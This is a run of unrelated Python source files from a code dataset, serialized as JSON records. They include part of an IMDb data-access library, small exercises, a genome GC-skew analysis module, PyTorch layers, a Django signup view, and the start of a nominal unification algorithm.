self.data):\n return None\n url = self.data[self._image_key] or ''\n ext_idx = url.rfind('.')\n if ext_idx == -1:\n return url\n if '@' in url:\n return url[:url.rindex('@') + 1] + url[ext_idx:]\n else:\n prev_dot = url[:ext_idx].rfind('.')\n if prev_dot == -1:\n return url\n return url[:prev_dot] + url[ext_idx:]\n\n def reset(self):\n \"\"\"Reset the object.\"\"\"\n self.data = {}\n self.myID = None\n self.notes = ''\n self.titlesRefs = {}\n self.namesRefs = {}\n self.charactersRefs = {}\n self.modFunct = modClearRefs\n self.current_info = []\n self.infoset2keys = {}\n self.key2infoset = {}\n self.__role = None\n self._reset()\n\n def _reset(self):\n pass\n\n def clear(self):\n \"\"\"Reset the dictionary.\"\"\"\n self.data.clear()\n self.notes = ''\n self.titlesRefs = {}\n self.namesRefs = {}\n self.charactersRefs = {}\n self.current_info = []\n self.infoset2keys = {}\n self.key2infoset = {}\n self.__role = None\n self._clear()\n\n def _clear(self):\n pass\n\n def get_current_info(self):\n \"\"\"Return the current set of information retrieved.\"\"\"\n return self.current_info\n\n def update_infoset_map(self, infoset, keys, mainInfoset):\n \"\"\"Update the mappings between infoset and keys.\"\"\"\n if keys is None:\n keys = []\n if mainInfoset is not None:\n theIS = mainInfoset\n else:\n theIS = infoset\n self.infoset2keys[theIS] = keys\n for key in keys:\n self.key2infoset[key] = theIS\n\n def set_current_info(self, ci):\n \"\"\"Set the current set of information retrieved.\"\"\"\n # XXX:Remove? It's never used and there's no way to update infoset2keys.\n self.current_info = ci\n\n def add_to_current_info(self, val, keys=None, mainInfoset=None):\n \"\"\"Add a set of information to the current list.\"\"\"\n if val not in self.current_info:\n self.current_info.append(val)\n self.update_infoset_map(val, keys, mainInfoset)\n\n def has_current_info(self, val):\n \"\"\"Return true if the given set of information is in the list.\"\"\"\n return val in self.current_info\n\n def set_mod_funct(self, modFunct):\n \"\"\"Set the fuction used to modify the strings.\"\"\"\n if modFunct is None:\n modFunct = modClearRefs\n self.modFunct = modFunct\n\n def update_titlesRefs(self, titlesRefs):\n \"\"\"Update the dictionary with the references to movies.\"\"\"\n self.titlesRefs.update(titlesRefs)\n\n def get_titlesRefs(self):\n \"\"\"Return the dictionary with the references to movies.\"\"\"\n return self.titlesRefs\n\n def update_namesRefs(self, namesRefs):\n \"\"\"Update the dictionary with the references to names.\"\"\"\n self.namesRefs.update(namesRefs)\n\n def get_namesRefs(self):\n \"\"\"Return the dictionary with the references to names.\"\"\"\n return self.namesRefs\n\n def update_charactersRefs(self, charactersRefs):\n \"\"\"Update the dictionary with the references to characters.\"\"\"\n self.charactersRefs.update(charactersRefs)\n\n def get_charactersRefs(self):\n \"\"\"Return the dictionary with the references to characters.\"\"\"\n return self.charactersRefs\n\n def set_data(self, data, override=False):\n \"\"\"Set the movie data to the given dictionary; if 'override' is\n set, the previous data is removed, otherwise the two dictionary\n are merged.\n \"\"\"\n if not override:\n self.data.update(data)\n else:\n self.data = data\n\n def getID(self):\n \"\"\"Return movieID, personID, characterID or companyID.\"\"\"\n raise NotImplementedError('override this method')\n\n def __lt__(self, other):\n \"\"\"Compare two Movie, Person, Character or Company objects.\"\"\"\n if self.cmpFunct is None:\n return False\n if not isinstance(other, self.__class__):\n return False\n return self.cmpFunct(other) == -1\n\n def __eq__(self, other):\n \"\"\"Compare two Movie, Person, Character or Company objects.\"\"\"\n if self.cmpFunct is None:\n return False\n if not isinstance(other, self.__class__):\n return False\n return self.cmpFunct(other)\n\n def __hash__(self):\n \"\"\"Hash for this object.\"\"\"\n # XXX: does it always work correctly?\n theID = self.getID()\n if theID is not None and self.accessSystem not in ('UNKNOWN', None):\n # Handle 'http' and 'mobile' as they are the same access system.\n acs = self.accessSystem\n if acs in ('mobile', 'httpThin'):\n acs = 'http'\n # There must be some indication of the kind of the object, too.\n s4h = '%s:%s[%s]' % (self.__class__.__name__, theID, acs)\n else:\n s4h = repr(self)\n return hash(s4h)\n\n def isSame(self, other):\n \"\"\"Return True if the two represent the same object.\"\"\"\n return isinstance(other, self.__class__) and hash(self) == hash(other)\n\n def __len__(self):\n \"\"\"Number of items in the data dictionary.\"\"\"\n return len(self.data)\n\n def getAsXML(self, key, _with_add_keys=True):\n \"\"\"Return a XML representation of the specified key, or None\n if empty. If _with_add_keys is False, dinamically generated\n keys are excluded.\"\"\"\n # Prevent modifyStrings in __getitem__ to be called; if needed,\n # it will be called by the _normalizeValue function.\n origModFunct = self.modFunct\n self.modFunct = modNull\n # XXX: not totally sure it's a good idea, but could prevent\n # problems (i.e.: the returned string always contains\n # a DTD valid tag, and not something that can be only in\n # the keys_alias map).\n key = self.keys_alias.get(key, key)\n if (not _with_add_keys) and (key in self._additional_keys()):\n self.modFunct = origModFunct\n return None\n try:\n withRefs = False\n if key in self.keys_tomodify and \\\n origModFunct not in (None, modNull):\n withRefs = True\n value = self.get(key)\n if value is None:\n return None\n tag = self.__class__.__name__.lower()\n return ''.join(_seq2xml({key: value}, withRefs=withRefs,\n modFunct=origModFunct,\n titlesRefs=self.titlesRefs,\n namesRefs=self.namesRefs,\n charactersRefs=self.charactersRefs,\n key2infoset=self.key2infoset,\n fullpath=tag))\n finally:\n self.modFunct = origModFunct\n\n def asXML(self, _with_add_keys=True):\n \"\"\"Return a XML representation of the whole object.\n If _with_add_keys is False, dinamically generated keys are excluded.\"\"\"\n beginTag, endTag = _tag4TON(self, addAccessSystem=True, _containerOnly=True)\n resList = [beginTag]\n for key in list(self.keys()):\n value = self.getAsXML(key, _with_add_keys=_with_add_keys)\n if not value:\n continue\n resList.append(value)\n resList.append(endTag)\n head = _xmlHead % self.__class__.__name__.lower()\n return head + ''.join(resList)\n\n def _getitem(self, key):\n \"\"\"Handle special keys.\"\"\"\n return None\n\n def __getitem__(self, key):\n \"\"\"Return the value for a given key, checking key aliases;\n a KeyError exception is raised if the key is not found.\n \"\"\"\n value = self._getitem(key)\n if value is not None:\n return value\n # Handle key aliases.\n if key in self.keys_alias and self.keys_alias[key] in self.data:\n rawData = self.data[self.keys_alias[key]]\n else:\n rawData = self.data[key]\n if key in self.keys_tomodify and \\\n self.modFunct not in (None, modNull):\n try:\n return modifyStrings(rawData, self.modFunct, self.titlesRefs,\n self.namesRefs, self.charactersRefs)\n except RuntimeError as e:\n import warnings\n warnings.warn(\"RuntimeError in imdb.utils._Container.__getitem__;\"\n \" if it's not a recursion limit exceeded, it's a bug:\\n%s\" % e)\n return rawData\n\n def __setitem__(self, key, item):\n \"\"\"Directly store the item with the given key.\"\"\"\n self.data[key] = item\n\n def __delitem__(self, key):\n \"\"\"Remove the given section or key.\"\"\"\n # XXX: how to remove an item of a section?\n del self.data[key]\n\n def _additional_keys(self):\n \"\"\"Valid keys to append to the data.keys() list.\"\"\"\n return []\n\n def keys(self):\n \"\"\"Return a list of valid keys.\"\"\"\n return list(self.data.keys()) + self._additional_keys()\n\n def items(self):\n \"\"\"Return the items in the dictionary.\"\"\"\n return [(k, self.get(k)) for k in list(self.keys())]\n\n # XXX: is this enough?\n def iteritems(self):\n return iter(self.data.items())\n\n def iterkeys(self):\n return iter(self.data.keys())\n\n def itervalues(self):\n return iter(self.data.values())\n\n def values(self):\n \"\"\"Return the values in the dictionary.\"\"\"\n return [self.get(k) for k in list(self.keys())]\n\n def has_key(self, key):\n \"\"\"Return true if a given section is defined.\"\"\"\n try:\n self.__getitem__(key)\n except KeyError:\n return False\n return True\n\n # XXX: really useful???\n # consider also that this will confuse people who meant to\n # call ia.update(movieObject, 'data set') instead.\n def update(self, dict):\n self.data.update(dict)\n\n def get(self, key, failobj=None):\n \"\"\"Return the given section, or default if it's not found.\"\"\"\n try:\n return self.__getitem__(key)\n except KeyError:\n return failobj\n\n def setdefault(self, key, failobj=None):\n if key not in self:\n self[key] = failobj\n return self[key]\n\n def pop(self, key, *args):\n return self.data.pop(key, *args)\n\n def popitem(self):\n return self.data.popitem()\n\n def __repr__(self):\n \"\"\"String representation of an object.\"\"\"\n raise NotImplementedError('override this method')\n\n def __str__(self):\n \"\"\"Movie title or person name.\"\"\"\n raise NotImplementedError('override this method')\n\n def __contains__(self, key):\n raise NotImplementedError('override this method')\n\n def append_item(self, key, item):\n \"\"\"The item is appended to the list identified by the given key.\"\"\"\n self.data.setdefault(key, []).append(item)\n\n def set_item(self, key, item):\n \"\"\"Directly store the item with the given key.\"\"\"\n self.data[key] = item\n\n def __bool__(self):\n \"\"\"Return true if self.data contains something.\"\"\"\n return bool(self.data)\n\n def __deepcopy__(self, memo):\n raise NotImplementedError('override this method')\n\n def copy(self):\n \"\"\"Return a deep copy of the object itself.\"\"\"\n return deepcopy(self)\n\n\ndef flatten(seq, toDescend=(list, dict, tuple), yieldDictKeys=False,\n onlyKeysType=(_Container,), scalar=None):\n \"\"\"Iterate over nested lists and dictionaries; toDescend is a list\n or a tuple of types to be considered non-scalar; if yieldDictKeys is\n true, also dictionaries' keys are yielded; if scalar is not None, only\n items of the given type(s) are yielded.\"\"\"\n if scalar is None or isinstance(seq, scalar):\n yield seq\n if isinstance(seq, toDescend):\n if isinstance(seq, (dict, _Container)):\n if yieldDictKeys:\n # Yield also the keys of the dictionary.\n for key in seq.keys():\n for k in flatten(key, toDescend=toDescend,\n yieldDictKeys=yieldDictKeys,\n onlyKeysType=onlyKeysType, scalar=scalar):\n if onlyKeysType and isinstance(k, onlyKeysType):\n yield k\n for value in seq.values():\n for v in flatten(value, toDescend=toDescend,\n yieldDictKeys=yieldDictKeys,\n onlyKeysType=onlyKeysType, scalar=scalar):\n yield v\n elif not isinstance(seq, (str, bytes, int, float)):\n for item in seq:\n for i in flatten(item, toDescend=toDescend,\n yieldDictKeys=yieldDictKeys,\n onlyKeysType=onlyKeysType, scalar=scalar):\n yield i\n","repo_name":"cinemagoer/cinemagoer","sub_path":"imdb/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":59665,"program_lang":"python","lang":"en","doc_type":"code","stars":1153,"dataset":"github-code","pt":"38"} +{"seq_id":"9072528855","text":"import sys\n\n\nage = int(input(\"kindly enter age \"))\ngender = input(\"kindly enter gender \")\n\n#if gender is not \"M\" or gender is not \"F\":\nif gender not in [\"M\", \"F\"]:\n print(\"invalid gender entered\")\n sys.exit(1)\n\nif age <= 15:\n if gender == \"F\":\n print(\"Pool is free for girls !!\")\n else:\n print(\"Pool is free for boys !!\")\nelif age > 15 and age <= 60:\n if gender == \"F\":\n print(\"Charges of pool is rs 50 for women !!\")\n else:\n print(\"You are not allowed !!\")\nelse:\n print(\"Pool is free for senior citizens !!\")\n\n\n","repo_name":"NirmalVatsyayan/PythonRevision","sub_path":"06_control_flow/using_if_else_nested.py","file_name":"using_if_else_nested.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25430392119","text":"import os\nimport platform\n\ndebug = False\n\n\ndef yes_or_no(question: str) -> bool:\n \"\"\"Ask a yes or no question.\n Args:\n question (str): The yes or no question to be asked.\n Returns:\n bool: True if the answer is \"yes\"\n or if the user press enter, False if the answer is \"no\".\n \"\"\"\n answer = input(question + \" ([O]/n): \").lower().strip()\n print(\"\")\n while not (\n answer == \"o\"\n or answer == \"oui\"\n or answer == \"n\"\n or answer == \"non\"\n or answer == \"\"\n ):\n print(\"Entrez oui ou non ou appuyez sur entrée\")\n answer = input(question + \"([O]/n):\").lower().strip()\n print(\"\")\n if answer == \"\":\n return True\n elif answer[0] == \"o\":\n return True\n else:\n return False\n\n\ndef clear_console():\n global debug\n if debug:\n return\n else:\n system = platform.system()\n if system == \"Windows\":\n os.system(\"cls\")\n elif system == \"Linux\" or system == \"Darwin\":\n os.system(\"clear\")\n\n\ndef set_debug(input: str):\n global debug\n if input == \"debug\":\n debug = True\n","repo_name":"Dastfox/chesser","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14707427941","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom icecream import ic\nfrom torch_scatter import scatter\n\nclass LinearTransform(nn.Module):\n def __init__(self, d, n_edge, l0_para):\n super(LinearTransform, self).__init__()\n self.fc = nn.Linear(d, n_edge)\n self.n_edge = n_edge\n self.l0_binary = L0_Hard_Concrete(*l0_para)\n\n for m in self.modules():\n self.weights_init(m)\n \n\n def weights_init(self, m):\n if isinstance(m, nn.Linear):\n torch.nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n\n def forward(self, x, batch, is_training):\n edge_logits = self.fc(x)\n edge_binary, l0_penaty = self.l0_binary(edge_logits, batch, is_training)\n n_edges = torch.LongTensor([self.n_edge for i in range(batch.max()+1)])\n return edge_binary, l0_penaty, n_edges\n\n\n\nclass RestCross(nn.Module):\n \"\"\"\n The rest cross function will sum all node embeddings in a graph as u_{total}.\n Then, a node u_i concat the u_{totoal} and input into a MLP.\n \"\"\"\n def __init__(self, d, n_edge, l0_para):\n super(RestCross, self).__init__()\n #self.fc = nn.Linear(2*d, n_edge)\n self.n_edge = n_edge\n self.l0_binary = L0_Hard_Concrete(*l0_para)\n #self.f_k = nn.Bilinear(d, d, n_edge)\n self.f_k = nn.Linear(2*d, n_edge)\n #self.f_k = nn.Linear(d, n_edge)\n\n for m in self.modules():\n self.weights_init(m)\n\n def weights_init(self, m):\n if isinstance(m, nn.Linear) or isinstance(m, nn.Bilinear):\n torch.nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n \n def forward(self, x, batch, is_training):\n\n x_t = scatter(x, batch, dim=0, reduce='sum')\n\n ones = torch.ones_like(batch) \n index = scatter(ones, batch)\n x_t = torch.repeat_interleave(x_t, index, dim=0)\n x_rest = x_t - x\n\n edge_logits = self.f_k(torch.cat([x, x_rest], dim=1))\n edge_binary, l0_penaty = self.l0_binary(edge_logits, batch, is_training)\n n_edges = torch.LongTensor([self.n_edge for i in range(batch.max()+1)])\n return edge_binary, l0_penaty, n_edges \n\n\n\nclass L0_Hard_Concrete(nn.Module):\n def __init__(self, temp, inter_min, inter_max):\n super(L0_Hard_Concrete, self).__init__()\n self.temp = temp\n self.inter_min = inter_min\n self.inter_max = inter_max\n self.hardtanh = nn.Hardtanh(0, 1)\n self.pdist = nn.PairwiseDistance(p=1)\n\n def perm_distance(self, s):\n index_tensor = torch.tensor(range(s.shape[0]))\n index_comb = torch.combinations(index_tensor)\n perm_s = s[index_comb]\n s_1 = (perm_s[:,0,:])\n s_2 = (perm_s[:,1,:])\n\n return self.pdist(s_1, s_2)\n \n def forward(self, loc, batch, is_training):\n\n if is_training:\n u = torch.rand_like(loc)\n logu = torch.log2(u)\n logmu = torch.log2(1-u)\n sum_log = loc + logu - logmu\n s = torch.sigmoid(sum_log/self.temp)\n s = s * (self.inter_max - self.inter_min) + self.inter_min\n else:\n s = torch.sigmoid(loc) * (self.inter_max - self.inter_min) + self.inter_min\n\n #s = torch.clamp(s, min=0, max=1)\n s = self.hardtanh(s)\n\n l0_matrix = torch.sigmoid(loc - self.temp * np.log2(-self.inter_min/self.inter_max))\n\n #original penalty\n l0_penaty = l0_matrix.mean()\n\n return s, l0_penaty\n\n","repo_name":"ruizhang-ai/HIRS-Detecting_Arbitrary_Order_Beneficial_Feature_Interactions_for_Recommender_Systems","sub_path":"code/layers/edgepred.py","file_name":"edgepred.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"38"} +{"seq_id":"15740371743","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"prodTauIdEffMeasPATTuple\")\n\n#--------------------------------------------------------------------------------\n# define configuration parameter default values\n\n##isMC = True # use for MC\nisMC = False # use for Data\nisEmbedded = False # use for everything except for Ztautau samples produced via MCEmbedding technique\n#isEmbedded = True # use for Ztautau samples produced via MCEmbedding technique\n##HLTprocessName = \"HLT\" # use for 2011 Data\nHLTprocessName = \"HLT\" # use for Summer'11 MC\npfCandidateCollection = \"particleFlow\" # pile-up removal disabled\n##pfCandidateCollection = \"pfNoPileUp\" # pile-up removal enabled\n##runSVfit = True\nrunSVfit = False\n#--------------------------------------------------------------------------------\n\n#--------------------------------------------------------------------------------\n# define \"hooks\" for replacing configuration parameters\n# in case running jobs on the CERN batch system/grid\n#\n#__isMC = #isMC#\n#__isEmbedded = #isEmbedded#\n#__HLTprocessName = #HLTprocessName#\n#__pfCandidateCollection = #pfCandidateCollection#\n#\n#--------------------------------------------------------------------------------\n\nfrom TauAnalysis.TauIdEfficiency.produceTauIdEffMeasPATTupleSpecific import produceTauIdEffMeasPATTuple\nproduceTauIdEffMeasPATTuple(process, isMC, isEmbedded, HLTprocessName, pfCandidateCollection, runSVfit)\n\nprocessDumpFile = open('produceTauIdEffMeasPATTuple.dump' , 'w')\nprint >> processDumpFile, process.dumpPython()\n","repo_name":"cms-analysis/TauAnalysis-TauIdEfficiency","sub_path":"test/commissioning/produceTauIdEffMeasPATTuple_cfg.py","file_name":"produceTauIdEffMeasPATTuple_cfg.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29846121110","text":"\n\n'''\nInput: a string representing the genome sequence\nOutput: a 4 by N matrix. N = genome size/length.\n each row reprensts the cumilative count of a base nucleotide at a given position.\n first row: A, second row: C, third row: G, fourth row: T\n'''\ndef cumilative_base_count(seq):\n cum_base_array = np.zeros([4, len(seq)])\n\n cum_a_i = 0\n cum_c_i = 0\n cum_g_i = 0\n cum_t_i = 0\n\n sec_length = len(seq)\n\n for indx in range(len(seq)):\n base = seq[indx]\n if base == 'A':\n cum_a_i = cum_a_i + 1\n\n if base == 'C':\n cum_c_i = cum_c_i + 1\n\n if base == 'G':\n cum_g_i = cum_g_i + 1\n\n if base == 'T':\n cum_t_i = cum_t_i + 1\n\n cum_base_array[0,indx] = cum_a_i\n cum_base_array[1,indx] = cum_c_i\n cum_base_array[2,indx] = cum_g_i\n cum_base_array[3,indx] = cum_t_i\n\n return cum_base_array\n\n\n\n'''\nReturn a cumilative skew array from the output of cumilative_base_count(seq)\nSee numpy's 'cumsum' function.\n'''\ndef cumilative_skew(base_skew_array):\n return np.cumsum(base_skew_array)\n\n\n'''\nComputes the CG-skew and cumilative CG-skew curves for a given sequences.\nInput: Seq string representing a fasta file like the one returned from from seq_from_fasta(file_path)\n\nOutput: \n cg_vals: numpy array with CG-skew values\n cgc_vals: numpy array with cumilative CG-skew values for the given window length \n'''\ndef gc_skew_sliding_window(seq, window_rad=500):\n\n seq_length = len(seq)\n\n if window_rad > seq_length:\n raise Exception('ERROR - Window size is larger than sequence length')\n\n\n extetend_seq = seq[seq_length-window_rad:] + seq + seq[0:window_rad]\n extetend_seq_length = len(extetend_seq)\n\n c_b_c = cumilative_base_count(extetend_seq)\n\n #print('seq len: ', seq_length)\n #print('window_rad: ', window_rad)\n #print('extended seq length: ', extetend_seq_length)\n\n\n gc_vals = np.zeros([seq_length])\n\n for i in range(window_rad, window_rad+seq_length):\n\n left_indx = (i-window_rad)\n right_indx = (i+window_rad)\n\n\n\n n_c_in_window = (c_b_c[1,right_indx] - c_b_c[1, left_indx])\n n_g_in_window = (c_b_c[2,right_indx] - c_b_c[2, left_indx])\n\n if (n_g_in_window+n_c_in_window == 0):\n print('opps at: ', i)\n\n gc_skew = (n_g_in_window-n_c_in_window)/(n_g_in_window+n_c_in_window)\n gc_vals[i-window_rad] = gc_skew\n\n\n c_gc_vals = cumilative_skew(gc_vals)\n\n return gc_vals, c_gc_vals\n\n\n'''\nScales a cruve so that lowest point is at -1 and largest value is +1 by default\n\nInput: curve (numpy array)\nOutput: Scaled version of curve. Numpy array. \n'''\ndef scale_skew(curve, default_range=(-1,1)):\n return minmax_scale(X=curve, feature_range=default_range)\n\n\n\n'''\nInput:\n Fasta sequence (string)\n window_rad (int). Default = 50 000\n\nOutput:\n final_gc: GC Skew values of max rotaed sequence\n final_cgc: cumilative GC-skew value of max rotaded\n max_rotated_fasta: Rotaed fasta sequence based on\n max_cCG_indx_original_offset: Index of maximum cGC skeq value in the original fasta sqeuence.\n'''\ndef max_rotate_seq_and_skew_calc(f, window_radius = 50000):\n\n initial_pos_index = list(range(len(f)))\n\n\n # Inital gc skew calc on original unrotaed sequence and find\n # position at max CG skew value.\n gc, cgc = gc_skew_sliding_window(f, window_rad=window_radius)\n max_indx = np.argmax(gc)\n print('inital max gc skew indx', max_indx)\n\n\n # Rotade sequence to begin at max cg-skew value and index.\n new = f[max_indx:] + f[0:max_indx]\n new_pos_index = initial_pos_index[max_indx:] + initial_pos_index[0:max_indx]\n\n\n # Calc cg-skew for rotated sequence and find position at max cumilative CG skew value.\n new_gc, new_cgc = gc_skew_sliding_window(new, window_rad=window_radius)\n cGC_max_indx = np.argmax(new_cgc)\n print('max cgc skew indx', cGC_max_indx)\n\n\n # Final rotation of sequence and final gc calc results\n final = new[cGC_max_indx:] + new[0:cGC_max_indx]\n final_pos_index = new_pos_index[cGC_max_indx:]+new_pos_index[0:cGC_max_indx]\n\n\n final_gc, final_cgc = gc_skew_sliding_window(final, window_rad=window_radius)\n\n # Return sequence rotated to max\n max_rotated_fasta = final\n\n max_cCG_indx_original_offset = (max_indx + cGC_max_indx)% len(f)\n\n return final_gc, final_cgc, max_rotated_fasta, max_cCG_indx_original_offset\n\n","repo_name":"MohammedAlJaff/orite","sub_path":"orite_folder/nt_skew_functions.py","file_name":"nt_skew_functions.py","file_ext":"py","file_size_in_byte":4414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21198443764","text":"'''\nTitle : Print Function\nSubdomain : Introduction\nDomain : Python\nAuthor : Ahmedur Rahman Shovon\nCreated : 15 July 2016\nProblem : https://www.hackerrank.com/challenges/python-print/problem\n'''\nn=int(input())\nar=range(1,n+1)\nfor i in ar:\n print(i,end=\"\")\n","repo_name":"syurskyi/Algorithms_and_Data_Structure","sub_path":"_algorithms_challenges/hackerrank/Hackerrank_Python/Introduction/PrintFunction.py","file_name":"PrintFunction.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"70899532272","text":"from django.contrib.auth import login\nfrom django.contrib.auth.models import Group, Permission\nfrom django.db import transaction\nfrom django.shortcuts import render, redirect\n\nfrom sistema.forms import UsuarioForm, SignUpForm\n\n\n@transaction.atomic\ndef signup(request):\n if request.method == 'POST':\n signup_form = SignUpForm(request.POST)\n usuario_form = UsuarioForm(request.POST)\n\n if signup_form.is_valid() and usuario_form.is_valid():\n user = signup_form.save()\n user.refresh_from_db()\n user.usuario.usuario.is_staff = True\n grupo, creado = Group.objects.get_or_create(name='usuarios')\n if creado:\n permisos = Permission.objects.all()\n for permiso in permisos:\n grupo.permissions.add(permiso)\n grupo.user_set.add(user.usuario.usuario)\n user.save()\n\n usuario_form = UsuarioForm(request.POST, instance=user.usuario)\n usuario_form.full_clean()\n usuario_form.save()\n\n login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n\n return redirect('/admin')\n else:\n signup_form = SignUpForm()\n usuario_form = UsuarioForm()\n return render(request, 'admin/sistema/usuario/signup.html', {\n 'signup_form': signup_form,\n 'usuario_form': usuario_form,\n })\n","repo_name":"atiliopereira/gestor-de-presupuestos","sub_path":"sistema/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9352391234","text":"# unification implementation of the algorithm \n# We tried to make it closer with the pseudocode in the article\n\n# code only because lab does not have python3 \nfrom __future__ import print_function\n\nimport copy\n\nclass Atom: \n def __init__(self, name): \n self.name = name\n\n def __str__(self): \n return self.name\n\nclass Suspended_variable: \n def __init__(self, perm, var): \n self.perm = perm\n self.var = var\n\n def __str__(self): \n # build a way to print permutation \n perm_str = \"[\" \n for swap in self.perm: \n perm_str += \"(\" + swap[0] + \" \" + swap[1] + \") \"\n perm_str += \"]\"\n return perm_str + \"*\" + self.var\n\nclass Unit: \n def __init__(self): \n pass \n \n def __str__(self): \n return \"<>\"\n\nclass Abstraction: \n def __init__(self, atom, body): \n self.atom = atom \n self.body = body \n\n def __str__(self): \n return \"[\" + (self.atom).__str__() + \"]\" + (self.body).__str__() \n\nclass Pair: \n def __init__(self, term1, term2): \n self.term1 = term1\n self.term2 = term2\n\n def __str__(self): \n return \"<\" + (self.term1).__str__() + \", \" + (self.term2).__str__() + \">\"\n\nclass Application: \n def __init__(self, symbol, arg): \n self.symbol = symbol\n self.arg = arg\n \n def __str__(self): \n return self.symbol + \"(\" + (self.arg).__str__() + \")\" \n\nclass CApplication: \n def __init__(self, symbol, arg): \n assert(isinstance(arg, Pair))\n self.symbol = symbol \n self.arg = arg\n\n def __str__(self): \n return self.symbol + \"(\" + (self.arg).__str__() + \")\" \n \n# check if var X is in t \ndef is_var_in_term(X, t): \n if isinstance(t, Atom):\n return False\n elif isinstance(t, Suspended_variable): \n return X == t.var \n elif isinstance(t, Unit): \n return False\n elif isinstance(t, Abstraction): \n return is_var_in_term(X, t.body) \n elif isinstance(t, Pair): \n return is_var_in_term(X, t.term1) or is_var_in_term(X, t.term2) \n elif isinstance(t, Application): \n return is_var_in_term(X, t.arg)\n elif isinstance(t, CApplication): \n return is_var_in_term(X, t.arg) \n\n# apply a permutation to an atom name. The permutation is represented as a swap list\ndef apply_perm_atom(swap_lst, atom_name): \n if len(swap_lst) == 0: \n return atom_name\n else: \n atom_name = apply_perm_atom(swap_lst[1:], atom_name) \n swap = swap_lst[0]\n if atom_name == swap[0]: \n return swap[1]\n elif atom_name == swap[1]: \n return swap[0]\n else: \n return atom_name\n\n# inverse a permutation \ndef inverse_perm(perm): \n return perm[::-1] \n\n# apply a permutation, represented as a list of swappings to a term t\ndef apply_perm(swap_lst, t): \n if isinstance(t, Atom): \n new_t_name = apply_perm_atom(swap_lst, t.name) \n new_t = Atom(new_t_name)\n return new_t\n elif isinstance(t, Suspended_variable): \n new_t_perm = swap_lst + t.perm\n new_t_var = t.var\n new_t = Suspended_variable(new_t_perm, new_t_var)\n return new_t\n elif isinstance(t, Unit): \n new_t = Unit()\n return new_t\n elif isinstance(t, Abstraction): \n new_t_atom = apply_perm(swap_lst, t.atom)\n new_t_body = apply_perm(swap_lst, t.body) \n new_t = Abstraction(new_t_atom, new_t_body) \n return new_t\n elif isinstance(t, Pair): \n new_t_term1 = apply_perm(swap_lst, t.term1) \n new_t_term2 = apply_perm(swap_lst, t.term2) \n new_t = Pair(new_t_term1, new_t_term2)\n return new_t\n elif isinstance(t, Application): \n new_t_symbol = t.symbol\n new_t_arg = apply_perm(swap_lst, t.arg) \n new_t = Application(new_t_symbol, new_t_arg)\n return new_t \n elif isinstance(t, CApplication): \n new_t_symbol = t.symbol\n new_t_arg = apply_perm(swap_lst, t.arg) \n new_t = CApplication(new_t_symbol, new_t_arg)\n return new_t \n else: \n quit(\"term passed is not really a term\") \n \n\n# returns the minimal context necessary for an atom a to be fresh in t. \n# returns also a boolean, indicating if it is possible\ndef is_fresh(a, t): \n if isinstance(t, Atom): \n return ([], a != t.name) \n elif isinstance(t, Suspended_variable): \n return ([(apply_perm_atom(inverse_perm(t.perm), a), t.var)], True)\n elif isinstance(t, Unit): \n return ([], True)\n elif isinstance(t, Abstraction): \n if (t.atom).name == a: \n return ([], True)\n else: \n return is_fresh(a, t.body)\n elif isinstance(t, Pair): \n (Delta1, bool1) = is_fresh(a, t.term1) \n (Delta2, bool2) = is_fresh(a, t.term2) \n if bool1 and bool2: \n return (Delta1 + Delta2, True) \n else: \n return ([], False) \n elif isinstance(t, Application): \n return is_fresh(a, t.arg)\n elif isinstance(t, CApplication): \n return is_fresh(a, t.arg)\n else: \n quit(\"term passed is not really a term\") \n\n# returns the minimal context in which a#Xsigma, for every a#X in Nabla \n# returns a boolean indicating if it is possible\ndef is_fresh_subs(sigma, Nabla): \n if len(Nabla) == 0: \n return ([], True)\n else: \n (a, X) = (Nabla[0][0], Nabla[0][1]) \n (Delta1, bool1) = is_fresh(a, apply_sub_term(sigma, Suspended_variable([], X))) \n (Delta2, bool2) = is_fresh_subs(sigma, Nabla[1:])\n if bool1 and bool2: \n return (Delta1 + Delta2, True)\n else: \n return([], False)\n\n# apply a nuclear substitution to a term \ndef apply_nuc_sub_term(nuc_sub, t): \n (X, s) = (nuc_sub[0], nuc_sub[1]) \n if isinstance(t, Atom): \n return t\n elif isinstance(t, Suspended_variable): \n if t.var == X: \n return apply_perm(t.perm, s) \n else: \n return t\n elif isinstance(t, Unit): \n return t\n elif isinstance(t, Abstraction): \n t.body = apply_nuc_sub_term(nuc_sub, t.body) \n return t\n elif isinstance(t, Pair): \n t.term1 = apply_nuc_sub_term(nuc_sub, t.term1) \n t.term2 = apply_nuc_sub_term(nuc_sub, t.term2) \n return t\n elif isinstance(t, Application): \n t.arg = apply_nuc_sub_term(nuc_sub, t.arg) \n return t \n elif isinstance(t, CApplication): \n t.arg = apply_nuc_sub_term(nuc_sub, t.arg) \n return t\n else: \n quit(\"term passed is not really a term\") \n\n# apply a substitution, represented as a list of nuclear substitutions, to a term \ndef apply_sub_term(sigma, t): \n if len(sigma) == 0: \n return t\n else: \n return apply_sub_term(sigma[1:], apply_nuc_sub_term(sigma[0], t))\n\n# apply a substitution sigma to a list of unification problems\ndef apply_sub(sigma, PrbLst): \n if len(PrbLst) == 0: \n return [] \n else: \n (t, s) = PrbLst[0] \n t_sigma = apply_sub_term(sigma, t) \n 